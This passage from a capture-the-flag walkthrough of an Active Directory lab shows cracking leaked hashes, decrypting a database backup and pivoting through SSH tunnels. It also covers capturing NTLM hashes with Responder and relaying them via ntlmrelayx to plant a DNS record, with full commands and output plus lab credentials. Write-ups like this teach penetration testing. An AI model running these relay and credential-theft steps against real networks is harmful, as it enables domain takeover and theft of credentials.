2025-02-03 11:05:04.886 MST [5952] postgres@dripmail STATEMENT:  UPDATE Users SET password = 8bbd7f88841b4223ae63c8848969be86 WHERE username = ebelford;

CrackStation will crack that to “ThePlague61780”.

This password actually works for SSH for ebelford:

oxdf@hacky$ sshpass -p 'ThePlague61780' ssh ebelford@drip.htb
Warning: Permanently added 'drip.htb' (ED25519) to the list of known hosts.
Linux drip 6.1.0-28-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.119-1 (2024-11-22) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have no mail.
Last login: Wed Feb  5 12:47:18 2025 from 172.16.20.1
ebelford@drip:~$ 

This doesn’t give me much other than an easier way to make tunnels using SSH rather than something like Chisel, and I’m not sure it was intended as part of the path.

Backup

In /var/backups there’s a directory named postgres:

postgres@drip:/var/backups$ ls
alternatives.tar.0     alternatives.tar.4.gz     apt.extended_states.2.gz  dpkg.arch.0     dpkg.arch.4.gz        dpkg.diversions.3.gz  dpkg.statoverride.2.gz  dpkg.status.1.gz  postgres
alternatives.tar.1.gz  alternatives.tar.5.gz     apt.extended_states.3.gz  dpkg.arch.1.gz  dpkg.diversions.0     dpkg.diversions.4.gz  dpkg.statoverride.3.gz  dpkg.status.2.gz
alternatives.tar.2.gz  apt.extended_states.0     apt.extended_states.4.gz  dpkg.arch.2.gz  dpkg.diversions.1.gz  dpkg.statoverride.0   dpkg.statoverride.4.gz  dpkg.status.3.gz
alternatives.tar.3.gz  apt.extended_states.1.gz  apt.extended_states.5.gz  dpkg.arch.3.gz  dpkg.diversions.2.gz  dpkg.statoverride.1.gz  dpkg.status.0          dpkg.status.4.gz

It has a single file, which is encrypted with PGP:

postgres@drip:/var/backups/postgres$ ls
dev-dripmail.old.sql.gpg
postgres@drip:/var/backups/postgres$ file dev-dripmail.old.sql.gpg 
dev-dripmail.old.sql.gpg: PGP RSA encrypted session key - keyid: 11123366 61D8BC1F RSA (Encrypt or Sign) 3072b .

Web Servers

There are two website directories (and a Python virtual environment) in /var/www:

postgres@drip:/var/www$ ls
app_venv  html  roundcube

roundcube looks like a typical install of RoundCube. html has two directories, and the index page that handles redirection:

postgres@drip:/var/www/html$ ls
dashboard  dripmail  index.html
postgres@drip:/var/www/html$ cat index.html 
<meta http-equiv="refresh" content="0; url=http://drip.htb/" />

In dashboard, there’s a Flask web app, and a .env file:

# True for development, False for production
DEBUG=False

# Flask ENV
FLASK_APP=run.py
FLASK_ENV=development

# If not provided, a random one is generated 
# SECRET_KEY=<YOUR_SUPER_KEY_HERE>

# Used for CDN (in production)
# No Slash at the end
ASSETS_ROOT=/static/assets

# If DB credentials (if NOT provided, or wrong values SQLite is used) 
DB_ENGINE=postgresql
DB_HOST=localhost
DB_NAME=dripmail
DB_USERNAME=dripmail_dba
DB_PASS=2Qa2SsBkQvsc
DB_PORT=5432

SQLALCHEMY_DATABASE_URI = 'postgresql://dripmail_dba:2Qa2SsBkQvsc@localhost/dripmail'
SQLALCHEMY_TRACK_MODIFICATIONS = True
SECRET_KEY = 'GCqtvsJtexx5B7xHNVxVj0y2X0m10jq'
MAIL_SERVER = 'drip.htb'
MAIL_PORT = 25
MAIL_USE_TLS = False
MAIL_USE_SSL = False
MAIL_USERNAME = None
MAIL_PASSWORD = None
MAIL_DEFAULT_SENDER = 'support@drip.htb'

This has creds for the DB (though I didn’t need them as the postgres user).

Network

I’ll run a ping sweep of the current network and find three total hosts:

postgres@drip:/var/lib/postgresql$ for i in {1..254}; do (ping -c 1 172.16.20.${i} | grep "bytes from" | grep -v "Unreachable" &); done;
64 bytes from 172.16.20.1: icmp_seq=1 ttl=128 time=4.13 ms
64 bytes from 172.16.20.2: icmp_seq=1 ttl=128 time=4.35 ms
64 bytes from 172.16.20.3: icmp_seq=1 ttl=64 time=0.032 ms

.3 is this VM, and .1 is almost assuredly the main host. The /etc/hosts file confirms that 1. is the DC:

127.0.0.1       localhost drip.htb mail.drip.htb dev-a3f1-01.drip.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

172.16.20.1 DC-01 DC-01.darkcorp.htb darkcorp.htb
172.16.20.3 drip.darkcorp.htb

I’ll use SSH with ebelford to make a socks proxy:

sshpass -p 'ThePlague61780' ssh ebelford@drip.htb -D 1080

172.16.20.1

I’ll grab a static nmap binary and upload it to the container. I’ll scan the hosts. .1 looks like a DC:

postgres@drip:/dev/shm$ NMAPDIR=/usr/share/nmap ./nmap -p- --min-rate 1000 172.16.20.1 

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2025-10-14 08:21 MDT
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for DC-01 (172.16.20.1)
Host is up (0.0041s latency).
Not shown: 65506 filtered ports
PORT      STATE SERVICE
22/tcp    open  ssh
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos
135/tcp   open  epmap
139/tcp   open  netbios-ssn
389/tcp   open  ldap
443/tcp   open  https
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd
593/tcp   open  unknown
636/tcp   open  ldaps
2179/tcp  open  unknown
3268/tcp  open  unknown
3269/tcp  open  unknown
5985/tcp  open  unknown
9389/tcp  open  unknown
47001/tcp open  unknown
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
56010/tcp open  unknown
60341/tcp open  unknown
60546/tcp open  unknown
60557/tcp open  unknown
60627/tcp open  unknown
60631/tcp open  unknown
64328/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 100.53 seconds

It also has SSH (22) and HTTP (80), as well as WinRM (5985).

netexec show that this is a host named DC-01 on darkcorp.htb:

oxdf@hacky$ proxychains netexec smb 172.16.20.1
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.1:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.1:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.1:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.1:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.1:445  ...  OK
SMB         172.16.20.1     445    DC-01            [*] Windows Server 2022 Build 20348 x64 (name:DC-01) (domain:darkcorp.htb) (signing:True) (SMBv1:False) (Null Auth:True)

LDAP signing is not enabled:

oxdf@hacky$ proxychains netexec ldap 172.16.20.1
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.1:389  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.1:389  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.1:636  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.1:636  ...  OK
LDAP        172.16.20.1     389    DC-01            [*] Windows Server 2022 Build 20348 (name:DC-01) (domain:darkcorp.htb) (signing:None) (channel binding:Never)

172.16.20.2

.2 looks like Windows as well, but this time at least one (80) if not two (5000) HTTP ports:

postgres@drip:/dev/shm$ NMAPDIR=/usr/share/nmap ./nmap -p- --min-rate 1000 172.16.20.2

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2025-10-14 08:23 MDT
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.16.20.2
Host is up (0.0063s latency).
Not shown: 65518 closed ports
PORT      STATE    SERVICE
80/tcp    open     http
135/tcp   open     epmap
139/tcp   open     netbios-ssn
445/tcp   open     microsoft-ds
5000/tcp  open     unknown
5985/tcp  open     unknown
31716/tcp filtered unknown
47001/tcp open     unknown
49664/tcp open     unknown
49665/tcp open     unknown
49666/tcp open     unknown
49667/tcp open     unknown
49668/tcp open     unknown
49669/tcp open     unknown
49670/tcp open     unknown
49671/tcp open     unknown
63731/tcp filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 66.61 seconds

The hostname is WEB-01:

oxdf@hacky$ proxychains netexec smb 172.16.20.2
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:445  ...  OK
SMB         172.16.20.2     445    WEB-01           [*] Windows Server 2022 Build 20348 x64 (name:WEB-01) (domain:darkcorp.htb) (signing:False) (SMBv1:False)

Using the tunnel and FoxyProxy, I’ll visit the sites. 80 is just IIS default:

image-20251014112740840

5000 pops HTTP auth:

image-20251014112719893

I’m not able to get past this yet.

Recover Backup

To get access to the backup, I’ll need the GPG environment and the passphrase. I can try the password used by the Flask app to connect to the database. For this to work, I’ll need to make sure to set the TERM environment variable. There’s a popup asking for the password, and on entering “2Qa2SsBkQvsc”, it dumps the file:

postgres@drip:/var/backups/postgres$ export TERM=xterm  
postgres@drip:/var/backups/postgres$ gpg --batch -d dev-dripmail.old.sql.gpg
gpg: encrypted with 3072-bit RSA key, ID 1112336661D8BC1F, created 2025-01-08
      "postgres <postgres@drip.darkcorp.htb>"
--
-- PostgreSQL database dump
--

-- Dumped from database version 15.10 (Debian 15.10-0+deb12u1)
-- Dumped by pg_dump version 15.10 (Debian 15.10-0+deb12u1)

SET statement_timeout = 0;
SET lock_timeout = 0;
SET idle_in_transaction_session_timeout = 0;
SET client_encoding = 'UTF8';
SET standard_conforming_strings = on;
SELECT pg_catalog.set_config('search_path', '', false);
SET check_function_bodies = false;
SET xmloption = content;
SET client_min_messages = warning;
SET row_security = off;

SET default_tablespace = '';

SET default_table_access_method = heap;

--
-- Name: Admins; Type: TABLE; Schema: public; Owner: postgres
--

CREATE TABLE public."Admins" (
    id integer NOT NULL,
    username character varying(80),
    password character varying(80),
    email character varying(80)
);


ALTER TABLE public."Admins" OWNER TO postgres;

--
-- Name: Admins_id_seq; Type: SEQUENCE; Schema: public; Owner: postgres
--

CREATE SEQUENCE public."Admins_id_seq"
    AS integer
    START WITH 1
    INCREMENT BY 1
    NO MINVALUE
    NO MAXVALUE
    CACHE 1;


ALTER TABLE public."Admins_id_seq" OWNER TO postgres;

--
-- Name: Admins_id_seq; Type: SEQUENCE OWNED BY; Schema: public; Owner: postgres
--

ALTER SEQUENCE public."Admins_id_seq" OWNED BY public."Admins".id;


--
-- Name: Users; Type: TABLE; Schema: public; Owner: postgres
--

CREATE TABLE public."Users" (
    id integer NOT NULL,
    username character varying(80),
    password character varying(80),
    email character varying(80),
    host_header character varying(255),
    ip_address character varying(80)
);


ALTER TABLE public."Users" OWNER TO postgres;

--
-- Name: Users_id_seq; Type: SEQUENCE; Schema: public; Owner: postgres
--

CREATE SEQUENCE public."Users_id_seq"
    AS integer
    START WITH 1
    INCREMENT BY 1
    NO MINVALUE
    NO MAXVALUE
    CACHE 1;


ALTER TABLE public."Users_id_seq" OWNER TO postgres;

--
-- Name: Users_id_seq; Type: SEQUENCE OWNED BY; Schema: public; Owner: postgres
--

ALTER SEQUENCE public."Users_id_seq" OWNED BY public."Users".id;


--
-- Name: Admins id; Type: DEFAULT; Schema: public; Owner: postgres
--

ALTER TABLE ONLY public."Admins" ALTER COLUMN id SET DEFAULT nextval('public."Admins_id_seq"'::regclass);


--
-- Name: Users id; Type: DEFAULT; Schema: public; Owner: postgres
--

ALTER TABLE ONLY public."Users" ALTER COLUMN id SET DEFAULT nextval('public."Users_id_seq"'::regclass);


--
-- Data for Name: Admins; Type: TABLE DATA; Schema: public; Owner: postgres
--

COPY public."Admins" (id, username, password, email) FROM stdin;
1       bcase   dc5484871bc95c4eab58032884be7225        bcase@drip.htb
2   victor.r    cac1c7b0e7008d67b6db40c03e76b9c0    victor.r@drip.htb
3   ebelford    8bbd7f88841b4223ae63c8848969be86    ebelford@drip.htb
\.


--
-- Data for Name: Users; Type: TABLE DATA; Schema: public; Owner: postgres
--

COPY public."Users" (id, username, password, email, host_header, ip_address) FROM stdin;
5001    support d9b9ecbf29db8054b21f303072b37c4e        support@drip.htb        Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.0    10.0.50.10
5002    bcase   1eace53df87b9a15a37fdc11da2d298d        bcase@drip.htb  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.0    10.0.50.10
5003    ebelford        0cebd84e066fd988e89083879e88c5f9        ebelford@drip.htb       Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.0    10.0.50.10
\.


--
-- Name: Admins_id_seq; Type: SEQUENCE SET; Schema: public; Owner: postgres
--

SELECT pg_catalog.setval('public."Admins_id_seq"', 1, true);


--
-- Name: Users_id_seq; Type: SEQUENCE SET; Schema: public; Owner: postgres
--

SELECT pg_catalog.setval('public."Users_id_seq"', 5003, true);


--
-- Name: Admins Admins_pkey; Type: CONSTRAINT; Schema: public; Owner: postgres
--

ALTER TABLE ONLY public."Admins"
    ADD CONSTRAINT "Admins_pkey" PRIMARY KEY (id);


--
-- Name: Users Users_pkey; Type: CONSTRAINT; Schema: public; Owner: postgres
--

ALTER TABLE ONLY public."Users"
    ADD CONSTRAINT "Users_pkey" PRIMARY KEY (id);


--
-- Name: TABLE "Admins"; Type: ACL; Schema: public; Owner: postgres
--

GRANT SELECT ON TABLE public."Admins" TO dripmail_dba;


--
-- Name: SEQUENCE "Admins_id_seq"; Type: ACL; Schema: public; Owner: postgres
--

GRANT ALL ON SEQUENCE public."Admins_id_seq" TO dripmail_dba;


--
-- Name: TABLE "Users"; Type: ACL; Schema: public; Owner: postgres
--

GRANT SELECT ON TABLE public."Users" TO dripmail_dba;


--
-- Name: SEQUENCE "Users_id_seq"; Type: ACL; Schema: public; Owner: postgres
--

GRANT ALL ON SEQUENCE public."Users_id_seq" TO dripmail_dba;


--
-- PostgreSQL database dump complete

In this dump, there are two additional admin entries, and potentially bcase’s original:

COPY public."Admins" (id, username, password, email) FROM stdin;
1       bcase   dc5484871bc95c4eab58032884be7225        bcase@drip.htb
2   victor.r    cac1c7b0e7008d67b6db40c03e76b9c0    victor.r@drip.htb
3   ebelford    8bbd7f88841b4223ae63c8848969be86    ebelford@drip.htb

ebelford matches the password I found in the log. victor.r cracks as well:

image-20251014104702033

Validation

The password for ebelford doesn’t work on the domain, but the one for victor.r does:

oxdf@hacky$ proxychains netexec smb 172.16.20.2 -u ebelford -p ThePlague61780
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:445  ...  OK
SMB         172.16.20.2     445    WEB-01           [*] Windows Server 2022 Build 20348 x64 (name:WEB-01) (domain:darkcorp.htb) (signing:False) (SMBv1:False)
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:445  ...  OK
SMB         172.16.20.2     445    WEB-01           [-] darkcorp.htb\ebelford:ThePlague61780 STATUS_LOGON_FAILURE 

oxdf@hacky$ proxychains netexec smb 172.16.20.2 -u victor.r -p victor1gustavo@#
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:445  ...  OK
SMB         172.16.20.2     445    WEB-01           [*] Windows Server 2022 Build 20348 x64 (name:WEB-01) (domain:darkcorp.htb) (signing:False) (SMBv1:False)
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:445  ...  OK
SMB         172.16.20.2     445    WEB-01           [+] darkcorp.htb\victor.r:victor1gustavo@# 

victor.r’s creds also work on port 5000 on WEB-01 with the HTTP auth.

Shell as Administrator@WEB-01

Enumeration

General Domain Enumeration

With creds on the domain there are some other common things to check. The number of machines a generic user can add to the domain (MachineAccountQuota) is 0, and there is ADCS running on the DC:

oxdf@hacky$ proxychains netexec ldap 172.16.20.1 -u victor.r -p victor1gustavo@# -M maq -M adcs
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.1:389  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.1:389  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.1:636  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.1:636  ...  OK
LDAP        172.16.20.1     389    DC-01            [*] Windows Server 2022 Build 20348 (name:DC-01) (domain:darkcorp.htb) (signing:None) (channel binding:Never) 
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.1:389  ...  OK
LDAP        172.16.20.1     389    DC-01            [+] darkcorp.htb\victor.r:victor1gustavo@# 
MAQ         172.16.20.1     389    DC-01            [*] Getting the MachineAccountQuota
MAQ         172.16.20.1     389    DC-01            MachineAccountQuota: 0
ADCS        172.16.20.1     389    DC-01            [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS        172.16.20.1     389    DC-01            Found PKI Enrollment Server: DC-01.darkcorp.htb
ADCS        172.16.20.1     389    DC-01            Found CN: DARKCORP-DC-01-CA
ADCS        172.16.20.1     389    DC-01            Found PKI Enrollment WebService: https://dc-01.darkcorp.htb/DARKCORP-DC-01-CA_CES_Kerberos/service.svc/CES

BloodHound

I’ll use RustHound-CE to collect BloodHound data:

oxdf@hacky$ proxychains rusthound-ce --domain darkcorp.htb -u victor.r -p victor1gustavo@# --zip
[proxychains] config file found: /etc/proxychains.conf                                                                                                                           
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4                                                                                                           
[proxychains] DLL init: proxychains-ng 4.17
---------------------------------------------------                            
Initializing RustHound-CE at 19:14:40 on 10/14/25
Powered by @g0h4n_0
---------------------------------------------------
[2025-10-14T19:14:40Z INFO  rusthound_ce] Verbosity level: Info
[2025-10-14T19:14:40Z INFO  rusthound_ce] Collection method: All
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  darkcorp.htb:389  ...  OK
[2025-10-14T19:14:40Z INFO  rusthound_ce::ldap] Connected to DARKCORP.HTB Active Directory!
[2025-10-14T19:14:40Z INFO  rusthound_ce::ldap] Starting data collection...
[2025-10-14T19:14:40Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-10-14T19:14:41Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=darkcorp,DC=htb
[2025-10-14T19:14:41Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-10-14T19:14:41Z INFO  rusthound_ce::ldap] All data collected for NamingContext CN=Configuration,DC=darkcorp,DC=htb
[2025-10-14T19:14:41Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-10-14T19:14:41Z INFO  rusthound_ce::ldap] All data collected for NamingContext CN=Schema,CN=Configuration,DC=darkcorp,DC=htb
[2025-10-14T19:14:41Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-10-14T19:14:42Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=DomainDnsZones,DC=darkcorp,DC=htb
[2025-10-14T19:14:42Z INFO  rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2025-10-14T19:14:42Z INFO  rusthound_ce::ldap] All data collected for NamingContext DC=ForestDnsZones,DC=darkcorp,DC=htb
[2025-10-14T19:14:42Z INFO  rusthound_ce::api] Starting the LDAP objects parsing...
⢀ Parsing LDAP objects: 4%                  
[2025-10-14T19:14:42Z INFO  rusthound_ce::objects::enterpriseca] Found 11 enabled certificate templates
[2025-10-14T19:14:42Z INFO  rusthound_ce::api] Parsing LDAP objects finished!
[2025-10-14T19:14:42Z INFO  rusthound_ce::json::checker] Starting checker to replace some values...
[2025-10-14T19:14:42Z INFO  rusthound_ce::json::checker] Checking and replacing some values finished!
[2025-10-14T19:14:42Z INFO  rusthound_ce::json::maker::common] 13 users parsed!
[2025-10-14T19:14:42Z INFO  rusthound_ce::json::maker::common] 62 groups parsed!
[2025-10-14T19:14:42Z INFO  rusthound_ce::json::maker::common] 3 computers parsed!
[2025-10-14T19:14:42Z INFO  rusthound_ce::json::maker::common] 4 ous parsed!
[2025-10-14T19:14:42Z INFO  rusthound_ce::json::maker::common] 3 domains parsed!
[2025-10-14T19:14:42Z INFO  rusthound_ce::json::maker::common] 3 gpos parsed!
[2025-10-14T19:14:42Z INFO  rusthound_ce::json::maker::common] 74 containers parsed!
[2025-10-14T19:14:42Z INFO  rusthound_ce::json::maker::common] 1 ntauthstores parsed!
[2025-10-14T19:14:42Z INFO  rusthound_ce::json::maker::common] 1 aiacas parsed!
[2025-10-14T19:14:42Z INFO  rusthound_ce::json::maker::common] 1 rootcas parsed!
[2025-10-14T19:14:42Z INFO  rusthound_ce::json::maker::common] 1 enterprisecas parsed!
[2025-10-14T19:14:42Z INFO  rusthound_ce::json::maker::common] 33 certtemplates parsed!
[2025-10-14T19:14:42Z INFO  rusthound_ce::json::maker::common] 3 issuancepolicies parsed!
[2025-10-14T19:14:42Z INFO  rusthound_ce::json::maker::common] .//20251014191442_darkcorp-htb_rusthound-ce.zip created!

RustHound-CE Enumeration Completed at 19:14:42 on 10/14/25! Happy Graphing!

I’ll upload the data into BloodHound-CE Docker and start with victor.r:

image-20251014153836215

Nothing that all domain users can’t do.

WEB-01 TCP 5000

I’ll use victor.r’s creds to get into the website, and it’s a basic monitoring dashboard:

image-20251014144712893

The “Check Status” link (/check) shows a form:

image-20251014144745123

Each of the options is from a drop down:

image-20251014144808258

Catch NTLM

Messing with the HTTP request seems like an option, but also works to grab a statically compiled socat and listen on port 8080, tunneling it to my host:

postgres@drip:/dev/shm$ ./socat TCP-LISTEN:8080,bind=0.0.0.0,fork TCP:10.10.14.8:80

Now I submit a check request to drip.darkcorp.htb:8080:

image-20251014150423171

Sending that arrives at my listening nc:

oxdf@hacky$ nc -lnvp 80
Listening on 0.0.0.0 80
Connection received on 10.10.11.54 60524
GET / HTTP/1.1
Host: drip.darkcorp.htb:8080
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

If I want to try to coerce NTLM auth, I’ll use Responder, and on sending, I get a connection:

oxdf@hacky$ sudo ./venv/bin/python Responder.py -I tun0                  
...[snip]...
[+] Current Session Variables:
    Responder Machine Name     [WIN-DTUA4DW2XID]
    Responder Domain Name      [7HA1.LOCAL]
    Responder DCE-RPC Port     [49628]

[+] Listening for events...

[HTTP] NTLMv2 Client   : 10.10.11.54
[HTTP] NTLMv2 Username : darkcorp\svc_acc
[HTTP] NTLMv2 Hash     : svc_acc::darkcorp:ffdb62442934ec99:63F597E3C5D438360354CF490724F368:01010000000000008CE06A82563DDC01DABD37CC5F38A9F30000000002000800370048004100310001001E00570049004E002D00440054005500410034004400570032005800490044000400140037004800410031002E004C004F00430041004C0003003400570049004E002D00440054005500410034004400570032005800490044002E0037004800410031002E004C004F00430041004C000500140037004800410031002E004C004F00430041004C00080030003000000000000000000000000030000031EC7482A518E93073DC620355271849187E5AAAD9F26F57289D7D78892794DE0A0010000000000000000000000000000000000009002C0048005400540050002F0064007200690070002E006400610072006B0063006F00720070002E006800740062000000000000000000

This Net-NTLMv2 won’t crack.

It’s worth noting that this seems broken in the most recent versions of Responder as of October 2025. It seems to have broken in this commit, though I’m not exactly sure why. I was able to get this working by checking out a branch before that one.

svc_acc doesn’t have any outbound control, but they are a member of the DNSADMINS group:

image-20251014180648738

That suggests they can edit DNS records, where typical users cannot.

Get Silver Ticket

Strategy

I’m going to put together several pieces here:

  • I’ll relay the authentication from the drip webserver to authenticate as svc_acc to add a DNS record for the DC-01 host that will point to my host (abusing the same trick as VulnCicada).
  • I’ll then coerce WEB-01 to authenticate to DC-01 and relay that to DC-01 ADCS to get a certificate for Administrator on WEB-01 (a Silver Ticket).

Create DNS Record

Just like in VulnCicada, I’ll use the method described in this Synactiv post to relay Kerberos. For that to work, I need to add a DNS record that looks like the hostname plus an empty CREDENTIAL_TARGET_INFORMATION structure. This structure allows me to add a record that will resolve to dc-01 without having permissions to modify that entry. So in this case, DC-01 becomes:

dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA

I can try to just create this record, but victor.r doesn’t have sufficient privileges:

oxdf@hacky$ proxychains bloodyAD -u victor.r -p 'victor1gustavo@#' -d darkcorp.htb --host DC-01 add dnsRecord dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA 10.10.14.8
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  DC-01:389  ...  OK
Traceback (most recent call last):
  File "/home/oxdf/.local/bin/bloodyAD", line 10, in <module>
    sys.exit(main())
             ^^^^^^
  File "/home/oxdf/.local/share/uv/tools/bloodyad/lib/python3.12/site-packages/bloodyAD/main.py", line 210, in main
    output = args.func(conn, **params)
             ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/oxdf/.local/share/uv/tools/bloodyad/lib/python3.12/site-packages/bloodyAD/cli_modules/add.py", line 334, in dnsRecord
    conn.ldap.bloodyadd(record_dn, attributes=record_attr)
  File "/home/oxdf/.local/share/uv/tools/bloodyad/lib/python3.12/site-packages/bloodyAD/network/ldap.py", line 213, in bloodyadd
    raise err
msldap.commons.exceptions.LDAPAddException: LDAP Add operation failed on DN DC=dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA,DC=darkcorp.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=darkcorp,DC=htb! Result code: "insufficientAccessRights" Reason: "b'00000005: SecErr: DSID-03152E29, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0\n\x00'"

Instead, I’ll use ntlmrelayx (from Impacket) to relay the auth from acc_svc (as a member of DNSADMINS) to create this record:

oxdf@hacky$ proxychains ntlmrelayx.py -t 'ldap://172.16.20.1' --no-dump --no-smb-server --no-acl --no-da --no-validate-privs --add-dns-record 'dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' 10.10.14.8
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
/home/oxdf/.local/share/uv/tools/impacket/lib/python3.12/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Protocol Client DCSYNC loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client MSSQL loaded..
[*] Running in relay mode to single host
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Multirelay disabled

When I have the web server connect back to me via check, it triggers:

[*] Servers started, waiting for connections
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Connection from 10.10.11.54 controlled, attacking target ldap://172.16.20.1
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.1:389  ...  OK
[*] HTTPD(80): Client requested path: /
